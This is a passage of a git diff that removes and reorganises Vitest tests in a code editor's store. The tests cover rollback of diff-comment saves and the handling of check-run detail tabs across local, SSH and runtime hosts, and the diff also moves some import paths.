-  it('keeps a durably saved note when a coalesced write succeeds before a later failure', async () => {
-    const store = createTestStore()
-    const folderWorkspace = seedLocalFolderWorkspace(store)
-    const key = folderWorkspaceKey(folderWorkspace.id)
-    folderWorkspacesUpdate.mockImplementation(async ({ updates }) => {
-      if (folderWorkspacesUpdate.mock.calls.length > 1) {
-        throw new Error('disk full')
-      }
-      return { ...folderWorkspace, ...updates }
-    })
-
-    // Why: both mutations land before the first write dequeues, so write 1 coalesces and persists [A,B].
-    const addA = addNote(store, key, 'note A', 1)
-    const addB = addNote(store, key, 'note B', 2)
-
-    await Promise.all([addA, addB])
-    expect(folderWorkspacesUpdate).toHaveBeenNthCalledWith(1, {
-      folderWorkspaceId: folderWorkspace.id,
-      updates: {
-        diffComments: [
-          expect.objectContaining({ body: 'note A' }),
-          expect.objectContaining({ body: 'note B' })
-        ]
-      }
-    })
-    expect(bodies(store, key)).toEqual(['note A', 'note B'])
-  })
-
-  it('converges to the partially-written list when only the first write landed', async () => {
-    const store = createTestStore()
-    const folderWorkspace = seedLocalFolderWorkspace(store)
-    const key = folderWorkspaceKey(folderWorkspace.id)
-    let releaseFirst!: () => void
-    folderWorkspacesUpdate.mockImplementation(async ({ updates }) => {
-      if (folderWorkspacesUpdate.mock.calls.length === 1) {
-        await new Promise<void>((resolve) => {
-          releaseFirst = resolve
-        })
-        return { ...folderWorkspace, ...updates }
-      }
-      throw new Error('disk full')
-    })
-
-    const addA = addNote(store, key, 'note A', 1)
-    await vi.waitFor(() => expect(folderWorkspacesUpdate).toHaveBeenCalledTimes(1))
-    const addB = addNote(store, key, 'note B', 2)
-    releaseFirst()
-
-    await Promise.all([addA, addB])
-    // Why: write 1 persisted only [A], so [A] is the floor B's failure converges to.
-    expect(bodies(store, key)).toEqual(['note A'])
-  })
-
-  it('rolls back to the list the queue drained on, not a stale burst floor', async () => {
-    const store = createTestStore()
-    const folderWorkspace = seedLocalFolderWorkspace(store)
-    const key = folderWorkspaceKey(folderWorkspace.id)
-    folderWorkspacesUpdate.mockImplementation(() => Promise.reject(new Error('disk full')))
-    await Promise.all([addNote(store, key, 'A', 1), addNote(store, key, 'B', 2)])
-
-    // Why: the drained queue must not carry its floor into the next burst.
-    const hydrated = [
-      {
-        id: 'h1',
-        worktreeId: key,
-        filePath: 'README.md',
-        lineNumber: 9,
-        body: 'hydrated',
-        createdAt: 1,
-        side: 'modified'
-      } as DiffComment
-    ]
-    store.setState({ folderWorkspaces: [{ ...folderWorkspace, diffComments: hydrated }] })
-
-    await addNote(store, key, 'D', 4)
-
-    expect(store.getState().getDiffComments(key)).toBe(hydrated)
-  })
-
-  it('keeps an out-of-band replacement when a later mutation in the same burst fails', async () => {
-    const store = createTestStore()
-    const folderWorkspace = seedLocalFolderWorkspace(store)
-    const key = folderWorkspaceKey(folderWorkspace.id)
-    let rejectFirst!: (err: Error) => void
-    folderWorkspacesUpdate.mockImplementation(() => {
-      if (folderWorkspacesUpdate.mock.calls.length === 1) {
-        return new Promise((_resolve, reject) => {
-          rejectFirst = reject
-        })
-      }
-      return Promise.reject(new Error('disk full'))
-    })
-
-    const addA = addNote(store, key, 'note A', 1)
-    await vi.waitFor(() => expect(folderWorkspacesUpdate).toHaveBeenCalledTimes(1))
-    const hydrated = [
-      {
-        id: 'h1',
-        worktreeId: key,
-        filePath: 'README.md',
-        lineNumber: 9,
-        body: 'hydrated',
-        createdAt: 1,
-        side: 'modified'
-      } as DiffComment
-    ]
-    store.setState({ folderWorkspaces: [{ ...folderWorkspace, diffComments: hydrated }] })
-    const addE = addNote(store, key, 'note E', 2)
-    rejectFirst(new Error('disk full'))
-
-    await Promise.all([addA, addE])
-    expect(bodies(store, key)).toEqual(['hydrated'])
-  })
-
   it('keeps an out-of-band replacement when the in-flight write succeeds', async () => {
     const store = createTestStore()
     const folderWorkspace = seedLocalFolderWorkspace(store)
@@ -478,158 +258,6 @@ describe('folder workspace diff comment rollback convergence', () => {
     await Promise.all([addA, addE])
     expect(bodies(store, key)).toEqual(['hydrated'])
   })
-
-  it('keeps a successful write that straddles a chain break as the floor', async () => {
-    const store = createTestStore()
-    const folderWorkspace = seedLocalFolderWorkspace(store)
-    const key = folderWorkspaceKey(folderWorkspace.id)
-    folderWorkspacesUpdate.mockImplementation(async ({ updates }) => {
-      if (folderWorkspacesUpdate.mock.calls.length > 1) {
-        throw new Error('disk full')
-      }
-      return { ...folderWorkspace, ...updates }
-    })
-
-    // Why: no await, so the replacement + E land before A dequeues — A's payload already carries `hydrated`.
-    const addA = addNote(store, key, 'note A', 1)
-    const hydrated = [
-      {
-        id: 'h1',
-        worktreeId: key,
-        filePath: 'README.md',
-        lineNumber: 9,
-        body: 'hydrated',
-        createdAt: 1,
-        side: 'modified'
-      } as DiffComment
-    ]
-    store.setState({ folderWorkspaces: [{ ...folderWorkspace, diffComments: hydrated }] })
-    const addE = addNote(store, key, 'note E', 2)
-
-    await Promise.all([addA, addE])
-    // Why: write #1 put ['hydrated', 'note E'] on disk, so E's failure must not roll back past it.
-    expect(bodies(store, key)).toEqual(['hydrated', 'note E'])
-    expect(folderWorkspacesUpdate.mock.calls[0][0].updates.diffComments).toEqual([
-      expect.objectContaining({ body: 'hydrated' }),
-      expect.objectContaining({ body: 'note E' })
-    ])
-  })
-
-  it('rolls back a runtime note whose server was replaced while the write was in flight', async () => {
-    const store = createTestStore()
-    const runtimeWorkspace = makeFolderWorkspace({
-      executionHostId: 'runtime:env-owner',
-      connectionId: 'nested-box'
-    })
-    const key = folderWorkspaceKey(runtimeWorkspace.id)
-    store.setState({
-      activeWorktreeId: key,
-      activeWorkspaceExecutionHostId: 'runtime:env-owner',
-      folderWorkspaces: [runtimeWorkspace]
-    })
-    runtimeEnvironmentCall.mockImplementation(async (args: { params: { updates: object } }) => {
-      // Why: the reply may come from the old runtime; whether the write landed is unknown.
-      setRuntimeEnvironmentConnectionGenerationForTests('env-owner', 1)
-      return {
-        id: 'rpc-folder-update',
-        ok: true,
-        result: {
-          folderWorkspace: {
-            ...runtimeWorkspace,
-            ...args.params.updates
-          }
-        },
-        _meta: { runtimeId: 'remote-runtime' }
-      }
-    })
-
-    await expect(addNote(store, key, 'A', 1)).resolves.toBeNull()
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-      expect.objectContaining({ selector: 'env-owner', method: 'folderWorkspace.update' })
-    )
-    expect(store.getState().getDiffComments(key)).toEqual([])
-    expect(folderWorkspacesUpdate).not.toHaveBeenCalled()
-  })
-
-  it('drops a queued folder save once its catalog endpoint is replaced, touching no other copy', async () => {
-    Object.assign(globalThis, { __ORCA_WEB_CLIENT__: true })
-    try {
-      const store = createTestStore()
-      const key = folderWorkspaceKey('folder-1')
-      const folder = makeFolderWorkspace({ diffComments: [folderNote(key, 'hub A')] })
-      store.setState({
-        activeWorktreeId: key,
-        activeWorkspaceExecutionHostId: 'local',
-        runtimeEnvironments: [savedServer('hub-a')],
-        folderWorkspaces: [folder]
-      })
-      const owner = capturedOwner(store, key)
-      expect(owner).toMatchObject({ runtimeEnvironmentId: 'hub-a' })
-
-      const pending = store.getState().addDiffComment(owner, {
-        worktreeId: key,
-        filePath: 'README.md',
-        lineNumber: 2,
-        body: 'added',
-        side: 'modified'
-      })
-      const replacement = { ...folder, diffComments: [folderNote(key, 'hub B')] }
-      store.setState({
-        runtimeEnvironments: [savedServer('hub-b')],
-        folderWorkspaces: [replacement]
-      })
-
-      expect(await pending).toBeNull()
-      expect(runtimeEnvironmentCall).not.toHaveBeenCalledWith(
-        expect.objectContaining({ method: 'folderWorkspace.update' })
-      )
-      expect(folderWorkspacesUpdate).not.toHaveBeenCalled()
-      expect(store.getState().folderWorkspaces).toEqual([replacement])
-    } finally {
-      Reflect.deleteProperty(globalThis, '__ORCA_WEB_CLIENT__')
-    }
-  })
-
-  it('keeps a failing burst scoped to its own execution host', async () => {
-    const store = createTestStore()
-    const workspaceId = 'shared-folder-id'
-    const key = folderWorkspaceKey(workspaceId)
-    const localWorkspace = makeFolderWorkspace({ id: workspaceId, projectGroupId: 'local-group' })
-    const runtimeWorkspace = makeFolderWorkspace({
-      id: workspaceId,
-      projectGroupId: 'runtime-group',
-      executionHostId: 'runtime:env-owner'
-    })
-    store.setState({
-      activeWorktreeId: key,
-      activeWorkspaceExecutionHostId: 'runtime:env-owner',
-      folderWorkspaces: [localWorkspace, runtimeWorkspace]
-    })
-    runtimeEnvironmentCall.mockImplementation(async (args: RuntimeEnvironmentCallRequest) => ({
-      id: 'rpc-folder-update',
-      ok: true,
-      result: {
-        folderWorkspace: {
-          ...runtimeWorkspace,
-          ...(
-            args as RuntimeEnvironmentCallRequest & {
-              params: { updates?: Partial<FolderWorkspace> }
-            }
-          ).params.updates
-        }
-      },
-      _meta: { runtimeId: 'remote-runtime' }
-    }))
-    folderWorkspacesUpdate.mockImplementation(() => Promise.reject(new Error('disk full')))
-
-    await addNote(store, key, 'runtime note', 1)
-    store.setState({ activeWorkspaceExecutionHostId: 'local' })
-    await Promise.all([addNote(store, key, 'local A', 2), addNote(store, key, 'local B', 3)])
-
-    expect(store.getState().getDiffComments(key)).toEqual([])
-    store.setState({ activeWorkspaceExecutionHostId: 'runtime:env-owner' })
-    expect(bodies(store, key)).toEqual(['runtime note'])
-  })
 })
 
 function capturedOwner(store: { getState: () => AppState }, worktreeId: string): DiffCommentOwner {
diff --git a/src/renderer/src/store/slices/editor/buffers/editor-buffer-identity.ts b/src/renderer/src/store/slices/editor/buffers/editor-buffer-identity.ts
index 5af0a35c66c..812fa432b15 100644
--- a/src/renderer/src/store/slices/editor/buffers/editor-buffer-identity.ts
+++ b/src/renderer/src/store/slices/editor/buffers/editor-buffer-identity.ts
@@ -1,7 +1,7 @@
 import type { OpenFile } from '../types/open-file'
 import type { WorktreeOperationRouteState } from '@/lib/workspace/ownership/worktree-operation-route'
 import { resolveEditorModelOwner } from '@/components/editor/model-lifetime/identity/editor-model-owner'
-import { isLocalWindowsDesktopClient } from '@/lib/desktop-window-chrome'
+import { isLocalWindowsDesktopClient } from '@/app-shell/chrome/desktop-window-chrome'
 import { resolveContinuedRuntimeEnvironmentRevision } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
 import { parseExecutionHostId } from '../../../../../../shared/execution-host'
 import {
diff --git a/src/renderer/src/store/slices/editor/checks/check-run-details-owner.ts b/src/renderer/src/store/slices/editor/checks/check-run-details-owner.ts
index b221c57c702..376d332ec72 100644
--- a/src/renderer/src/store/slices/editor/checks/check-run-details-owner.ts
+++ b/src/renderer/src/store/slices/editor/checks/check-run-details-owner.ts
@@ -1,8 +1,4 @@
-import type { Repo } from '../../../../../../shared/repo-types'
-import { resolveReviewRepository } from '@/lib/review-owner'
-import type { AppState } from '../../../types'
-import type { OpenFile } from '../types/open-file'
-import type { OpenCheckRunDetailsState } from '../../../../../../shared/editor-tab-view-types'
+import { resolveReviewRepository } from '@/lib/source-control/review/review-owner'
 import { getCheckRunTabIdentity } from '@/components/editor/check-details/actions/check-run-details-tab'
 import {
   LOCAL_EXECUTION_HOST_ID,
@@ -22,9 +18,11 @@ import {
 import { layoutFrameWorkspace } from '@/runtime/workspace-layout/frames/layout-frame-workspaces'
 import {
   resolveWorktreeOperationRoute,
-  resolveWorktreeOperationRouteForHost,
-  type WorktreeOperationOwnerRecord,
-  type WorktreeOperationRoute
+  resolveWorktreeOperationRouteForHost
+} from '@/lib/workspace/ownership/worktree-operation-route'
+import type {
+  WorktreeOperationOwnerRecord,
+  WorktreeOperationRoute
 } from '@/lib/workspace/ownership/worktree-operation-route'
 import { resolveExactWorktreeRoute } from '@/lib/workspace/ownership/worktree-owner-route'
 import { onPairedWebClientHost } from '@/app-shell/platform/paired-web-client-host'
@@ -34,6 +32,10 @@ import {
   selectDetectedWorktreesByRepo,
   selectWorktreesByRepo
 } from '../../../workspaces/catalog/workspace-record-fields'
+import type { Repo } from '../../../../../../shared/repo-types'
+import type { AppState } from '../../../types'
+import type { OpenFile } from '../types/open-file'
+import type { OpenCheckRunDetailsState } from '../../../../../../shared/editor-tab-view-types'
 
 export type CheckRunDetailsOwnership = Pick<
   OpenFile,
diff --git a/src/renderer/src/store/slices/editor/checks/editor-check-details-reading.test.ts b/src/renderer/src/store/slices/editor/checks/editor-check-details-reading.test.ts
index 0359f057d61..e7c00134b84 100644
--- a/src/renderer/src/store/slices/editor/checks/editor-check-details-reading.test.ts
+++ b/src/renderer/src/store/slices/editor/checks/editor-check-details-reading.test.ts
@@ -140,27 +140,4 @@ describe('accepted details requests and reading cache', () => {
       expect(final?.error).not.toContain('SENTINEL_SECRET')
     }
   )
-
-  it('discards the superseded post-publication cache transaction under a nested context open', () => {
-    const store = createEditorTabsStore()
-    let nested = false
-    const stop = store.subscribe(() => {
-      if (nested) {
-        return
-      }
-      nested = true
-      store.getState().openCheckRunDetails('wt-1', 'new-context', readingCheck, {
-        details: readingDetails(),
-        loading: false,
-        error: null
-      })
-    })
-    store.getState().openCheckRunDetails('wt-1', 'old-context', readingCheck, {
-      details: null,
-      loading: true,
-      error: null
-    })
-    expect(store.getState().openFiles[0].checkRunDetails?.contextKey).toBe('new-context')
-    stop()
-  })
 })
diff --git a/src/renderer/src/store/slices/editor/checks/editor-check-details-reconstructed-owner.test.ts b/src/renderer/src/store/slices/editor/checks/editor-check-details-reconstructed-owner.test.ts
deleted file mode 100644
index 6b41ff0ce9c..00000000000
--- a/src/renderer/src/store/slices/editor/checks/editor-check-details-reconstructed-owner.test.ts
+++ /dev/null
@@ -1,254 +0,0 @@
-import { expect, it, vi } from 'vitest'
-import { createCheckRunDetailsRequestId } from '@/components/editor/check-details/actions/check-run-details-tab'
-import { createEditorTabsStore } from '../editor-slice-test-harness'
-import { makeWorktree } from '../../worktrees/worktree.test-fixture'
-import { TEST_REPO } from '../../../repos/repo.test-fixture'
-import { drawTabsFromMain } from '../../tabs/tabs-drawn-from-main.test-fixture'
-import { layoutApplyTestTransport } from '@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture'
-import { publishedLayoutsOf } from '@/runtime/workspace-layout/testing/main-loaded-layout-frames.test-fixture'
-import { buildWorkspaceSessionPayload } from '@/lib/workspace/persistence/workspace-session'
-import { buildLayoutFrameSlices } from '../../../workspace-layout/frames/workspace-layout-frame-slices'
-import { loadWorkspaceLayoutWithoutReport } from '../../../../../../shared/workspace-layout/workspace-layout-load'
-import { nameBasedLoadContext } from '../../../../../../shared/workspace-layout/workspace-layout-minted-ids'
-import { getDefaultWorkspaceSession } from '../../../../../../shared/constants'
-import type { ExecutionHostId } from '../../../../../../shared/execution-host'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/layout-owner-switch'
-
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-)
-vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeLayoutClientWithTestFrames(await importOriginal())
-)
-
-it.runIf(ORCA_LAYOUT_OWNER_IS_MAIN).each(['local', 'ssh:builder'] as const)(
-  'refreshes reconstructed %s checks and isolates colliding requests from its runtime twin',
-  async (hostId) => {
-    const repo = {
-      ...TEST_REPO,
-      id: 'repo-1',
-      path: '/owner',
-      executionHostId: hostId,
-      connectionId: hostId === 'local' ? null : 'builder'
-    }
-    const workspace = makeWorktree({ id: 'wt-1', repoId: repo.id, path: repo.path, hostId })
-    const catalog = {
-      repos: [
-        repo,
-        { ...repo, path: '/rival', executionHostId: 'runtime:server' as const, connectionId: null }
-      ],
-      worktreesByRepo: {
-        [repo.id]: [
-          workspace,
-          {
-            ...workspace,
-            path: '/rival',
-            hostId: 'runtime:server' as const,
-            runtimeOwnerEnvironmentId: 'server'
-          }
-        ]
-      }
-    }
-    const source = createEditorTabsStore()
-    const fetchPRCheckDetails = vi.fn().mockResolvedValue(null)
-    source.setState({ ...catalog, activeWorkspaceExecutionHostId: hostId, fetchPRCheckDetails })
-    const sourceFrames = await drawTabsFromMain(source)
-    const model = layoutApplyTestTransport.mainModel!
-    layoutApplyTestTransport.useMainModel({ ...model, hostId })
-    source.getState().openCheckRunDetails(
-      workspace.id,
-      'repo:99',
-      {
-        name: 'verify',
-        status: 'completed',
-        conclusion: 'failure',
-        url: null,
-        checkRunId: 42
-      },
-      { requestId: createCheckRunDetailsRequestId(), details: null, loading: false, error: null }
-    )
-    await sourceFrames.settle()
-    const fileId = source.getState().openFiles[0]!.id
-    await source.getState().reloadOpenCheckRunDetailsTab(fileId)
-    expect(fetchPRCheckDetails).toHaveBeenCalledWith('/owner', expect.anything(), {
-      repoId: repo.id,
-      repoOwnerExecutionHostId: hostId
-    })
-    const layouts = publishedLayoutsOf(layoutApplyTestTransport.mainModel!)
-    expect(layouts[workspace.id]!.tabs[0]!.executionHostId).toBe(hostId)
-    const { facts, desktopView } = loadWorkspaceLayoutWithoutReport(
-      hostId,
-      buildWorkspaceSessionPayload(source.getState()),
-      nameBasedLoadContext()
-    )
-    try {
-      const restored = createEditorTabsStore()
-      restored.setState({
-        ...buildLayoutFrameSlices({ layouts, facts, view: desktopView }),
-        ...catalog,
-        activeWorkspaceExecutionHostId: 'runtime:server',
-        fetchPRCheckDetails
-      })
-      expect(restored.getState().openFiles).toHaveLength(1)
-      const previous = restored.getState().openFiles[0]!.checkRunDetails!
-      restored.getState().openCheckRunDetails(workspace.id, previous.contextKey, previous.check, {
-        requestId: previous.requestId,
-        details: null,
-        loading: true,
-        error: null
-      })
-      const runtimeTabId = restored.getState().activeFileId
-      expect(runtimeTabId).not.toBe(fileId)
-      restored.setState({ activeWorkspaceExecutionHostId: hostId })
-      restored
-        .getState()
-        .patchOpenCheckRunDetails(workspace.id, previous.contextKey, previous.check, {
-          requestId: previous.requestId,
-          details: null,
-          loading: false,
-          error: 'Runtime request completed'
-        })
-      expect(
-        restored.getState().openFiles.find((file) => file.id === runtimeTabId)?.checkRunDetails
-      ).toMatchObject({ loading: false, error: 'Runtime request completed' })
-      expect(
-        restored.getState().openFiles.find((file) => file.id === fileId)?.checkRunDetails
-      ).toEqual(previous)
-
-      fetchPRCheckDetails.mockClear()
-      await restored.getState().reloadOpenCheckRunDetailsTab(fileId)
-      expect(fetchPRCheckDetails).toHaveBeenCalledWith('/owner', expect.anything(), {
-        repoId: repo.id,
-        repoOwnerExecutionHostId: hostId
-      })
-      restored.setState({
-        repos: [catalog.repos[1]!],
-        worktreesByRepo: { [repo.id]: [catalog.worktreesByRepo[repo.id]![1]!] }
-      })
-      fetchPRCheckDetails.mockClear()
-      await restored.getState().reloadOpenCheckRunDetailsTab(fileId)
-      expect(fetchPRCheckDetails).not.toHaveBeenCalled()
-    } finally {
-      sourceFrames.close()
-    }
-  }
-)
-
-it.runIf(ORCA_LAYOUT_OWNER_IS_MAIN).each([
-  { hostId: 'local', runtimeEnvironmentId: undefined, scope: '' },
-  { hostId: 'runtime:server', runtimeEnvironmentId: 'server', scope: '@runtime:server' },
-  { hostId: 'ssh:builder', runtimeEnvironmentId: 'server', scope: '@ssh:builder>runtime:server' }
-] satisfies { hostId: ExecutionHostId; runtimeEnvironmentId: string | undefined; scope: string }[])(
-  'reuses a legacy $hostId check tab after layout reconstruction',
-  ({ hostId, runtimeEnvironmentId, scope }) => {
-    const worktreeId = 'wt-1'
-    const legacyId = `${worktreeId}::check-details::check-run:42`
-    const expectedId = `${worktreeId}::check-details${scope}::check-run:42`
-    const check = {
-      name: 'verify',
-      status: 'completed' as const,
-      conclusion: 'failure' as const,
-      url: null,
-      checkRunId: 42
-    }
-    const previous = {
-      contextKey: 'repo:99',
-      check,
-      requestId: 10,
-      details: null,
-      loading: false,
-      error: 'Restored error'
-    }
-    const session = {
-      ...getDefaultWorkspaceSession(),
-      unifiedTabs: {
-        [worktreeId]: [
-          {
-            id: legacyId,
-            entityId: legacyId,
-            worktreeId,
-            groupId: 'g1',
-            contentType: 'check-details' as const,
-            label: 'verify',
-            customLabel: null,
-            color: null,
-            createdAt: 1,
-            sortOrder: 0,
-            executionHostId: hostId
-          }
-        ]
-      },
-      tabGroups: {
-        [worktreeId]: [
-          {
-            id: 'g1',
-            worktreeId,
-            tabOrder: [legacyId],
-            activeTabId: legacyId,
-            recentTabIds: [legacyId]
-          }
-        ]
-      }
-    }
-    const loaded = loadWorkspaceLayoutWithoutReport(hostId, session, {
-      ...nameBasedLoadContext(),
-      editorViewsOf: () => ({
-        [legacyId]: {
-          view: { mode: 'check-details', checkRunDetails: previous },
-          file: {
-            filePath: legacyId,
-            relativePath: 'verify',
-            language: 'plaintext',
-            runtimeEnvironmentId
-          }
-        }
-      })
-    })
-    const layouts = publishedLayoutsOf(loaded.layout)
-    const store = createEditorTabsStore()
-    const repo = {
-      ...TEST_REPO,
-      id: 'repo-1',
-      executionHostId: runtimeEnvironmentId ? ('runtime:server' as const) : hostId,
-      connectionId: hostId === 'ssh:builder' ? 'builder' : null
-    }
-    store.setState({
-      ...buildLayoutFrameSlices({ layouts, facts: loaded.facts, view: loaded.desktopView }),
-      repos: [repo],
-      worktreesByRepo: {
-        [repo.id]: [
-          makeWorktree({
-            id: worktreeId,
-            repoId: repo.id,
-            hostId,
-            runtimeOwnerEnvironmentId: runtimeEnvironmentId
-          })
-        ]
-      },
-      activeWorkspaceExecutionHostId: hostId
-    })
-    expect(store.getState().openFiles).toMatchObject([
-      { id: expectedId, filePath: expectedId, checkRunDetails: previous }
-    ])
-    expect(store.getState().unifiedTabsByWorktree[worktreeId]).toMatchObject([
-      { id: legacyId, entityId: expectedId }
-    ])
-    expect(store.getState().groupsByWorktree[worktreeId]).toMatchObject([
-      { tabOrder: [legacyId], activeTabId: legacyId, recentTabIds: [legacyId] }
-    ])
-    store.getState().openCheckRunDetails(worktreeId, previous.contextKey, check, {
-      requestId: 9,
-      details: null,
-      loading: true,
-      error: null
-    })
-    expect(store.getState().openFiles).toHaveLength(1)
-    expect(store.getState().openFiles[0]!.checkRunDetails).toEqual(previous)
-    expect(store.getState().activeFileId).toBe(expectedId)
-    expect(store.getState().unifiedTabsByWorktree[worktreeId]).toHaveLength(1)
-  }
-)
diff --git a/src/renderer/src/store/slices/editor/checks/editor-check-details-tabs.test.ts b/src/renderer/src/store/slices/editor/checks/editor-check-details-tabs.test.ts
deleted file mode 100644
index 6fc87c46c78..00000000000
--- a/src/renderer/src/store/slices/editor/checks/editor-check-details-tabs.test.ts
+++ /dev/null
@@ -1,427 +0,0 @@
-import { describe, expect, it, vi } from 'vitest'
-import { createEditorTabsStore } from '../editor-slice-test-harness'
-import { makeWorktree } from '../../worktrees/worktree.test-fixture'
-import { TEST_REPO } from '../../../repos/repo.test-fixture'
-import { drawTabsFromMain } from '../../tabs/tabs-drawn-from-main.test-fixture'
-import { layoutApplyTestTransport } from '@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/layout-owner-switch'
-
-// Main's answer to the window's layout commands, as a switch-on build sends them.
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-)
-vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeLayoutClientWithTestFrames(await importOriginal())
-)
-
-const { toastErrorMock } = vi.hoisted(() => ({
-  toastErrorMock: vi.fn()
-}))
-
-vi.mock('sonner', () => ({
-  toast: { error: toastErrorMock }
-}))
-
-const { notifyHostOfMirroredEditorCloseMock } = vi.hoisted(() => ({
-  notifyHostOfMirroredEditorCloseMock: vi.fn()
-}))
-vi.mock('@/runtime/web-session-tabs-sync/closing/close-mirrored-editor-tab', () => ({
-  notifyHostOfMirroredEditorClose: (...args: unknown[]) =>
-    notifyHostOfMirroredEditorCloseMock(...args)
-}))
-
-const loadGitLabJobLogDetailsMock = vi.hoisted(() => vi.fn())
-vi.mock('@/runtime/repository-gitlab/gitlab-job-trace-client', () => ({
-  loadGitLabJobLogDetails: loadGitLabJobLogDetailsMock
-}))
-
-describe('createEditorSlice conflict status reconciliation', () => {
-  it('keeps a check reopened on a twin host in its own tab with its own project', async () => {
-    const fetchPRCheckDetails = vi.fn().mockResolvedValue(null)
-    const store = createEditorTabsStore()
-    const localRepo = store.getState().repos[0]
-    const localWorktree = store.getState().worktreesByRepo['repo-1'][0]
-    store.setState({
-      activeWorkspaceExecutionHostId: 'local',
-      repos: [localRepo, { ...localRepo, path: '/remote', executionHostId: 'runtime:server' }],
-      worktreesByRepo: {
-        'repo-1': [
-          localWorktree,
-          {
-            ...localWorktree,
-            path: '/remote',
-            hostId: 'runtime:server',
-            runtimeOwnerEnvironmentId: 'server'
-          }
-        ]
-      },
-      fetchPRCheckDetails
-    })
-    const main = await drawTabsFromMain(store)
-    const check = {
-      name: 'verify',
-      status: 'completed' as const,
-      conclusion: 'failure' as const,
-      url: null,
-      checkRunId: 42
-    }
-    const localProject = { owner: 'local-org', repo: 'project' }
-    const remoteProject = { owner: 'remote-org', repo: 'project' }
-
-    store.getState().openCheckRunDetails('wt-1', 'repo:99', check, {
-      details: null,
-      loading: false,
-      error: null,
-      githubRepository: localProject
-    })
-    await main.settle()
-    store.setState({ activeWorkspaceExecutionHostId: 'runtime:server' })
-    store.getState().openCheckRunDetails('wt-1', 'repo:99', check, {
-      details: null,
-      loading: false,
-      error: null,
-      githubRepository: remoteProject
-    })
-    await main.settle()
-    // A sidebar patch on the selected host must not rewrite its twin's tab.
-    store.getState().patchOpenCheckRunDetails('wt-1', 'repo:99', check, {
-      details: null,
-      loading: false,
-      error: 'remote patch'
-    })
-
-    const localTabId = 'wt-1::check-details::check-run:42'
-    const remoteTabId = 'wt-1::check-details@runtime:server::check-run:42'
-    expect(
-      store
-        .getState()
-        .openFiles.filter((file) => file.mode === 'check-details')
-        .map((file) => [
-          file.id,
-          file.checkRunDetails?.githubRepository,
-          file.checkRunDetails?.error
-        ])
-    ).toEqual([
-      [localTabId, localProject, null],
-      [remoteTabId, remoteProject, 'remote patch']
-    ])
-
-    await store.getState().reloadOpenCheckRunDetailsTab(localTabId)
-    await store.getState().reloadOpenCheckRunDetailsTab(remoteTabId)
-
-    expect(fetchPRCheckDetails).toHaveBeenNthCalledWith(
-      1,
-      '/repo',
-      expect.objectContaining({ prRepo: localProject }),
-      { repoId: 'repo-1', repoOwnerExecutionHostId: 'local' }
-    )
-    expect(fetchPRCheckDetails).toHaveBeenNthCalledWith(
-      2,
-      '/remote',
-      expect.objectContaining({ prRepo: remoteProject }),
-      { repoId: 'repo-1', repoOwnerExecutionHostId: 'runtime:server' }
-    )
-    main.close()
-  })
-
-  // GitLab job refresh must use GitLab trace, not GitHub check-runs or the open tab blanks (#7732).
-  it.each([
-    'local',
-    'runtime',
-    'paired-ssh',
-    'pinned-runtime',
-    'pinned-local',
-    'pinned-paired-ssh'
-  ] as const)('reloads an open GitLab job tab through its %s owner', async (owner) => {
-    loadGitLabJobLogDetailsMock.mockReset()
-    loadGitLabJobLogDetailsMock.mockResolvedValue({
-      name: 'test: unit',
-      status: 'completed',
-      conclusion: 'failure',
-      url: null,
-      detailsUrl: null,
-      startedAt: null,
-      completedAt: null,
-      title: null,
-      summary: null,
-      text: null,
-      annotations: [],
-      jobs: [
-        {
-          id: 42,
-          name: 'test: unit',
-          status: 'completed',
-          conclusion: 'failure',
-          startedAt: null,
-          completedAt: null,
-          url: null,
-          logTail: 'ERROR: Job failed: exit code 1',
-          steps: []
-        }
-      ]
-    })
-    const fetchPRCheckDetails = vi.fn().mockResolvedValue(null)
-    const store = createEditorTabsStore()
-    store.setState({
-      activeWorktreeId: 'wt-1',
-      repos: [{ ...TEST_REPO, id: 'repo-1', path: '/repo' }],
-      worktreesByRepo: {
-        'repo-1': [makeWorktree({ id: 'wt-1', repoId: 'repo-1', path: '/repo' })]
-      },
-      settings: null,
-      fetchPRCheckDetails
-    })
-    if (owner !== 'local') {
-      const local = store.getState().worktreesByRepo['repo-1'][0]
-      store.setState({
-        repos: [
-          ...store.getState().repos,
-          {
-            ...store.getState().repos[0],
-            path: '/remote',
-            executionHostId: 'runtime:server',
-            ...(owner.endsWith('paired-ssh') ? { connectionId: 'builder' } : {})
-          }
-        ],
-        worktreesByRepo: {
-          'repo-1': [
-            ...(owner.startsWith('pinned-') ? [local] : []),
-            {
-              ...local,
-              path: '/remote',
-              hostId: owner.endsWith('paired-ssh') ? 'ssh:builder' : 'runtime:server',
-              runtimeOwnerEnvironmentId: 'server'
-            }
-          ]
-        }
-      })
-    }
-    const check = {
-      name: 'test: unit',
-      status: 'completed' as const,
-      conclusion: 'failure' as const,
-      url: null,
-      gitlabJobId: 42
-    }
-
-    if (owner.startsWith('pinned-')) {
-      store.setState({
-        activeWorkspaceExecutionHostId: owner === 'pinned-local' ? 'local' : 'runtime:server'
-      })
-    }
-
-    store.getState().openCheckRunDetails('wt-1', 'repo:99', check, {
-      details: null,
-      loading: false,
-      error: null
-    })
-    if (owner.startsWith('pinned-')) {
-      store.setState({
-        activeWorkspaceExecutionHostId: owner === 'pinned-local' ? 'runtime:server' : 'local'
-      })
-      store.getState().openCheckRunDetails('wt-1', 'repo:99', check, {
-        details: null,
-        loading: false,
-        error: null
-      })
-    }
-
-    // Reopening on the other host opens that host's own tab; the first tab keeps its owner.
-    const ownerTabId = {
